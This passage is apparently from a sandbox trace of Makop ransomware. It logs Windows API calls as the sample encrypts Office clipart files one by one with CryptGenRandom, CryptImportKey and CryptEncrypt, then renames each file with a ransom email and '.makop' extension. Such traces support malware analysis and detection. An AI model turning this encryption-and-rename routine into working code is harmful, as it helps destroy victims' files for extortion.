(in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.413] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3926, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3926, lpOverlapped=0x0) returned 1 [0143.415] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3930, dwBufLen=0x3930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3930) returned 1 [0143.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.415] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3930, lpOverlapped=0x0) returned 1 [0143.416] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.416] SetEndOfFile (hFile=0xf0) returned 1 [0143.423] GetProcessHeap () returned 0x48a0000 [0143.423] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.423] GetProcessHeap () returned 0x48a0000 [0143.423] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.424] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.426] CloseHandle (hObject=0xf0) returned 1 [0143.426] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00723_.WMF", cAlternateFileName="")) returned 1 [0143.426] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 63 [0143.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.427] GetProcessHeap () returned 0x48a0000 [0143.427] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.427] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.428] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.428] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.477] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.477] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.477] GetProcessHeap () returned 0x48a0000 [0143.477] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.477] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.477] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.477] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.477] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.477] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.478] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.478] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.478] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.478] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.478] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1afc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1afc, lpOverlapped=0x0) returned 1 [0143.492] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b00, dwBufLen=0x1b00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b00) returned 1 [0143.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b00, lpOverlapped=0x0) returned 1 [0143.493] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.493] SetEndOfFile (hFile=0xf0) returned 1 [0143.504] GetProcessHeap () returned 0x48a0000 [0143.504] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.505] GetProcessHeap () returned 0x48a0000 [0143.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.505] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.507] CloseHandle (hObject=0xf0) returned 1 [0143.507] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00726_.WMF", cAlternateFileName="")) returned 1 [0143.507] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 63 [0143.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.508] GetProcessHeap () returned 0x48a0000 [0143.508] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.509] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.509] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.509] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0143.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.516] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.516] GetProcessHeap () returned 0x48a0000 [0143.516] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.516] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.516] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.517] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.517] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.518] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb1a4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb1a4, lpOverlapped=0x0) returned 1 [0143.523] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb1b0, dwBufLen=0xb1b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb1b0) returned 1 [0143.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.524] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb1b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb1b0, lpOverlapped=0x0) returned 1 [0143.525] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.525] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.525] SetEndOfFile (hFile=0xf0) returned 1 [0143.532] GetProcessHeap () returned 0x48a0000 [0143.532] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.532] GetProcessHeap () returned 0x48a0000 [0143.533] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.533] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.535] CloseHandle (hObject=0xf0) returned 1 [0143.535] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00737_.WMF", cAlternateFileName="")) returned 1 [0143.535] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 63 [0143.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.537] GetProcessHeap () returned 0x48a0000 [0143.537] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.537] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.565] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.565] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.565] GetProcessHeap () returned 0x48a0000 [0143.565] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.565] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.565] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.565] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.565] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.565] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.565] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.566] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.566] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.566] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.566] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.566] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.566] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9e2c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9e2c, lpOverlapped=0x0) returned 1 [0143.615] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e30, dwBufLen=0x9e30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e30) returned 1 [0143.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.616] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9e30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9e30, lpOverlapped=0x0) returned 1 [0143.616] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.617] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9f04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.617] SetEndOfFile (hFile=0xf0) returned 1 [0143.624] GetProcessHeap () returned 0x48a0000 [0143.624] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.624] GetProcessHeap () returned 0x48a0000 [0143.624] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.624] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.626] CloseHandle (hObject=0xf0) returned 1 [0143.626] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00833_.WMF", cAlternateFileName="")) returned 1 [0143.626] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF") returned 63 [0143.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.628] GetProcessHeap () returned 0x48a0000 [0143.628] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.628] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.628] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.628] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.628] GetProcessHeap () returned 0x48a0000 [0143.628] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.628] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.628] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.628] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.642] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.642] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.643] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.643] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, 